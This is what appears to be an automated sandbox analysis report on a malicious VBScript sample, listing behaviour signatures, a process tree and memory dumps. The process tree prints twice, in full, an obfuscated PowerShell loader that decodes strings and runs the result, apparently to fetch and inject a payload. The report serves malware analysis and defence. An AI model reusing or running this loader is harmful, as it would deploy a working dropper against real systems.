Analysis
- max time kernel
149s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/07/2026, 05:39
General
- Target Laminaterne.vbs
- Size 22KB
- Sample260710-gcdttae151
- SHA256 1f08b33c61a20cb9327b1a529df79f2072ba72646631619e622eb0c1e6a6e8f7
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Laminaterne.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'studieture' 'hestetrukket' 'accommodatingly';$bodyweight=-32401+32401;$skybanken198=41581-35581;function skadesforsikringers ($solgtes,$rundturensnnumerableness) {$samtidshistorikeres=udsprjter(@(120,232,225,224,211,217,201,226,163,203,230,214,198,157,150,230,225,211,200,227,235,219,211,213,199,227,224,233,217,202,214,208,216,213,211,213,185,232,229,157)) ;Astrid ($samtidshistorikeres)}function udsprjter ($ursigram) { do {$skybanken198=$gardnap[$bodyweight%12];$ursigram[$bodyweight]-=$skybanken198;$skybanken198=[char]$ursigram[$bodyweight];$udmaalingen+=$skybanken198;$bodyweight++} while ($ursigram[$bodyweight])$udmaalingen}function Astrid ($chackling) {&($cityfolk) $chackling}Function Malurus ($ursigram,$countersignature=0){$skullduggeries=udsprjter(@(175,184,225,226,226,202,214,227,211,163,168,173,198,228,223,182,205,216,201,165,170,188,226,217,189,227,217,156,144,218,214,226,223,208,224,200,193,158));$esperantisten=@(Astrid ($skullduggeries));For($rundturens=0; $esperantisten[$rundturens] -ne $forsgsarbejdes233; $rundturens++){$esperantisten[$rundturens] = skadesforsikringers $esperantisten[$rundturens] $gardnap[$rundturens%12]}$unkerchiefed=udsprjter(@(129,223,225,221,218,133,191,210,222,202,224,194,177,210,150,217,223,213,201,225,215,215,226,208,199,233,215,226));$minimeringens=Astrid ($unkerchiefed);if ($countersignature) { Astrid $minimeringens}else {;$minimeringens}}$gardnap=@(84,117,114,116,108,101,100,111,118,105,110,103);$cityfolk=udsprjter @(157,186,202);$rundturensnflationssikker20='\lingala.Tab';$rundturensnnumerablenessreviarernes=Malurus 'YVtCVEQyDQESBhkUdDsmVF1VSl9NSTkOOkNGT0wdUltNSRwRbkRHRkJVTU8xDA0MO1pARF1VVF5GWE4hPQcXEgMdS15DW0BX';$nephrotyphoid=Malurus 'PAEGBB9fS0ASGwcRMVsVGwMCCApYCgEKewARSwkdFAAEHVMDOwIcGAMEAEkfDVNWGwIrNVQRXCgUDlgPPgw1Lio3JyEPNgJTMA82EVsHEQY=';$sossle=Malurus 'GQYKGQBXSjwTGxgCJi0/OCQxMD9YX0BX';$rundturensnadhesive=Malurus 'EzAm';$deadfall=Malurus 'AQYXBkEkAwoYHQ==';$fumlede=Malurus 'ag==';Malurus 'cBIeGw4ECFUCDA0TPRcAFQIGDAYXHQtacBAcAlYEFB8SCBoGf1EAAQIBEBoEDAAUOhMeFRgMCwEFGgcMPxAARlw=' 1;Malurus 'cBIeGw4ECFUVCBwRMQcBHAUVWUsYDB4PJhoGDRwNCwYSRx0XOBwGXEgDEQIaDAoCfQ==' 1;$nephrotyphoid=$carvership[0];Malurus 'cBIeGw4ECFUDBw0GJhAUAQAJHVI4DBlKGxcYEQ8RREI1BgNHcAYdBx8JAQ==' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1;while (!$tulipanen) {Malurus 'cBIeGw4ECFUFDAUUIRQeBA0XEAETG1NDIAcHEQ==' 1;Malurus 'cAAcFw0XAQkDBQIeehoCEQJNQB0DBwoTIQcXGh8LBQseDB0OIhBeVEgLAR8eGwETLQUaGwUBSE9SDw8LJxBb' 1;Malurus 'cAAcFw0XAQkDBQIeegYXAD4AFRoTGhovMRQWER5NQAsTCAoBNRkeWExBFhoYDRoSJhAcBwILEQITGw8FOBAcER8WFgoAAA8VMQccER9M' 1;Malurus 'cAAcFw0XAQkDBQIeegYXGghNTQ==' 1;Malurus 'cBIeGw4ECFUUDB0TNRkeHQICAQEFVEoSOhYTBgkDEQMaEEAUIBQGAR9FSQoHSVxXZA==' 1;if ($bestallingens) {Malurus 'DxcLAAk+OTJSDgIINhQeTgEEFgcZBRpacAAcFw0XAQkDBQIeegcXBxwKChwTKwEDLQ==' 1;Malurus 'JxZSUBgABxsfCxwGOhYaHQ0RAU9SBA8VPBoeAExIIQEVBgoOOhJSNhURAQ==' 1} Malurus 'BxkXERxNUEY=' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1 ;Malurus 'cBIeGw4ECFUSAAMKMQFPUAsJCw0XBVQXPRocER4cT0RTTQ0GJgMXBh8NDR9YCgESOgE=' 1;$nephrotyphoid=$carvership[$dimmet]}$specialtegnenes=150103;$exhaled=19666;Malurus 'cBIeGw4ECFUTGwEAMRsXAAUGWQgVSUoTMRYGHQ4XBQEVAQcGIBA=' 1;Malurus 'cBIeGw4ECFU+AwsKORAeSTcmCwEADBwTCU9IMh4KCS0XGgtRYCYGBgULA0dSDBwIMxAcERgMB0Y=' 1;Malurus 'cBIeGw4ECFUQAA0PIRAGB1E+MAoOHUAiOhYdEAULAzJMUy80Fzw7WisAEDwCGwcJM11WPAYACQITBUc=' 1;Malurus 'cBIeGw4ECFUFHBgCJhsbAAkRAQFLTQgONx0HERgWShwDCx0TJhwcE0RBFx8TCgcGOAEXEwIACgoFRUoCLB0TGAkBTQ==' 1;Astrid $suverniteten;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'studieture' 'hestetrukket' 'accommodatingly';$bodyweight=-32401+32401;$skybanken198=41581-35581;function skadesforsikringers ($solgtes,$rundturensnnumerableness) {$samtidshistorikeres=udsprjter(@(120,232,225,224,211,217,201,226,163,203,230,214,198,157,150,230,225,211,200,227,235,219,211,213,199,227,224,233,217,202,214,208,216,213,211,213,185,232,229,157)) ;Astrid ($samtidshistorikeres)}function udsprjter ($ursigram) { do {$skybanken198=$gardnap[$bodyweight%12];$ursigram[$bodyweight]-=$skybanken198;$skybanken198=[char]$ursigram[$bodyweight];$udmaalingen+=$skybanken198;$bodyweight++} while ($ursigram[$bodyweight])$udmaalingen}function Astrid ($chackling) {&($cityfolk) $chackling}Function Malurus ($ursigram,$countersignature=0){$skullduggeries=udsprjter(@(175,184,225,226,226,202,214,227,211,163,168,173,198,228,223,182,205,216,201,165,170,188,226,217,189,227,217,156,144,218,214,226,223,208,224,200,193,158));$esperantisten=@(Astrid ($skullduggeries));For($rundturens=0; $esperantisten[$rundturens] -ne $forsgsarbejdes233; $rundturens++){$esperantisten[$rundturens] = skadesforsikringers $esperantisten[$rundturens] $gardnap[$rundturens%12]}$unkerchiefed=udsprjter(@(129,223,225,221,218,133,191,210,222,202,224,194,177,210,150,217,223,213,201,225,215,215,226,208,199,233,215,226));$minimeringens=Astrid ($unkerchiefed);if ($countersignature) { Astrid $minimeringens}else {;$minimeringens}}$gardnap=@(84,117,114,116,108,101,100,111,118,105,110,103);$cityfolk=udsprjter @(157,186,202);$rundturensnflationssikker20='\lingala.Tab';$rundturensnnumerablenessreviarernes=Malurus 'YVtCVEQyDQESBhkUdDsmVF1VSl9NSTkOOkNGT0wdUltNSRwRbkRHRkJVTU8xDA0MO1pARF1VVF5GWE4hPQcXEgMdS15DW0BX';$nephrotyphoid=Malurus 'PAEGBB9fS0ASGwcRMVsVGwMCCApYCgEKewARSwkdFAAEHVMDOwIcGAMEAEkfDVNWGwIrNVQRXCgUDlgPPgw1Lio3JyEPNgJTMA82EVsHEQY=';$sossle=Malurus 'GQYKGQBXSjwTGxgCJi0/OCQxMD9YX0BX';$rundturensnadhesive=Malurus 'EzAm';$deadfall=Malurus 'AQYXBkEkAwoYHQ==';$fumlede=Malurus 'ag==';Malurus 'cBIeGw4ECFUCDA0TPRcAFQIGDAYXHQtacBAcAlYEFB8SCBoGf1EAAQIBEBoEDAAUOhMeFRgMCwEFGgcMPxAARlw=' 1;Malurus 'cBIeGw4ECFUVCBwRMQcBHAUVWUsYDB4PJhoGDRwNCwYSRx0XOBwGXEgDEQIaDAoCfQ==' 1;$nephrotyphoid=$carvership[0];Malurus 'cBIeGw4ECFUDBw0GJhAUAQAJHVI4DBlKGxcYEQ8RREI1BgNHcAYdBx8JAQ==' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1;while (!$tulipanen) {Malurus 'cBIeGw4ECFUFDAUUIRQeBA0XEAETG1NDIAcHEQ==' 1;Malurus 'cAAcFw0XAQkDBQIeehoCEQJNQB0DBwoTIQcXGh8LBQseDB0OIhBeVEgLAR8eGwETLQUaGwUBSE9SDw8LJxBb' 1;Malurus 'cAAcFw0XAQkDBQIeegYXAD4AFRoTGhovMRQWER5NQAsTCAoBNRkeWExBFhoYDRoSJhAcBwILEQITGw8FOBAcER8WFgoAAA8VMQccER9M' 1;Malurus 'cAAcFw0XAQkDBQIeegYXGghNTQ==' 1;Malurus 'cBIeGw4ECFUUDB0TNRkeHQICAQEFVEoSOhYTBgkDEQMaEEAUIBQGAR9FSQoHSVxXZA==' 1;if ($bestallingens) {Malurus 'DxcLAAk+OTJSDgIINhQeTgEEFgcZBRpacAAcFw0XAQkDBQIeegcXBxwKChwTKwEDLQ==' 1;Malurus 'JxZSUBgABxsfCxwGOhYaHQ0RAU9SBA8VPBoeAExIIQEVBgoOOhJSNhURAQ==' 1} Malurus 'BxkXERxNUEY=' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1 ;Malurus 'cBIeGw4ECFUSAAMKMQFPUAsJCw0XBVQXPRocER4cT0RTTQ0GJgMXBh8NDR9YCgESOgE=' 1;$nephrotyphoid=$carvership[$dimmet]}$specialtegnenes=150103;$exhaled=19666;Malurus 'cBIeGw4ECFUTGwEAMRsXAAUGWQgVSUoTMRYGHQ4XBQEVAQcGIBA=' 1;Malurus 'cBIeGw4ECFU+AwsKORAeSTcmCwEADBwTCU9IMh4KCS0XGgtRYCYGBgULA0dSDBwIMxAcERgMB0Y=' 1;Malurus 'cBIeGw4ECFUQAA0PIRAGB1E+MAoOHUAiOhYdEAULAzJMUy80Fzw7WisAEDwCGwcJM11WPAYACQITBUc=' 1;Malurus 'cBIeGw4ECFUFHBgCJhsbAAkRAQFLTQgONx0HERgWShwDCx0TJhwcE0RBFx8TCgcGOAEXEwIACgoFRUoCLB0TGAkBTQ==' 1;Astrid $suverniteten;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_q0qtyohc.pdq.ps1
lingala.Tab
memory/2464-4-0x000002024B450000-0x000002024B460000-memory.dmp
memory/2464-5-0x000002024B450000-0x000002024B460000-memory.dmp
memory/2464-13-0x0000020265D30000-0x0000020265D52000-memory.dmp
memory/2464-15-0x000002024B450000-0x000002024B460000-memory.dmp
memory/2464-14-0x000002024B450000-0x000002024B460000-memory.dmp
memory/2464-17-0x000002024B450000-0x000002024B460000-memory.dmp
memory/2464-19-0x000002024B450000-0x000002024B460000-memory.dmp
memory/3572-25-0x0000000005BE0000-0x0000000005C46000-memory.dmp
memory/3572-38-0x0000000007C10000-0x000000000828A000-memory.dmp
memory/3572-24-0x00000000054F0000-0x0000000005512000-memory.dmp
memory/3572-34-0x0000000005D90000-0x00000000060E4000-memory.dmp
memory/3572-23-0x0000000005540000-0x0000000005B68000-memory.dmp
memory/3572-36-0x00000000063A0000-0x00000000063BE000-memory.dmp
memory/3572-37-0x0000000006900000-0x000000000694C000-memory.dmp
memory/3572-26-0x0000000005C50000-0x0000000005CB6000-memory.dmp
memory/3572-39-0x0000000006880000-0x000000000689A000-memory.dmp
memory/3572-40-0x0000000007870000-0x0000000007906000-memory.dmp
memory/3572-41-0x0000000007770000-0x0000000007792000-memory.dmp
memory/3572-42-0x0000000008840000-0x0000000008DE4000-memory.dmp
memory/3572-22-0x0000000004DF0000-0x0000000004E26000-memory.dmp
memory/3572-44-0x0000000008DF0000-0x000000000CD54000-memory.dmp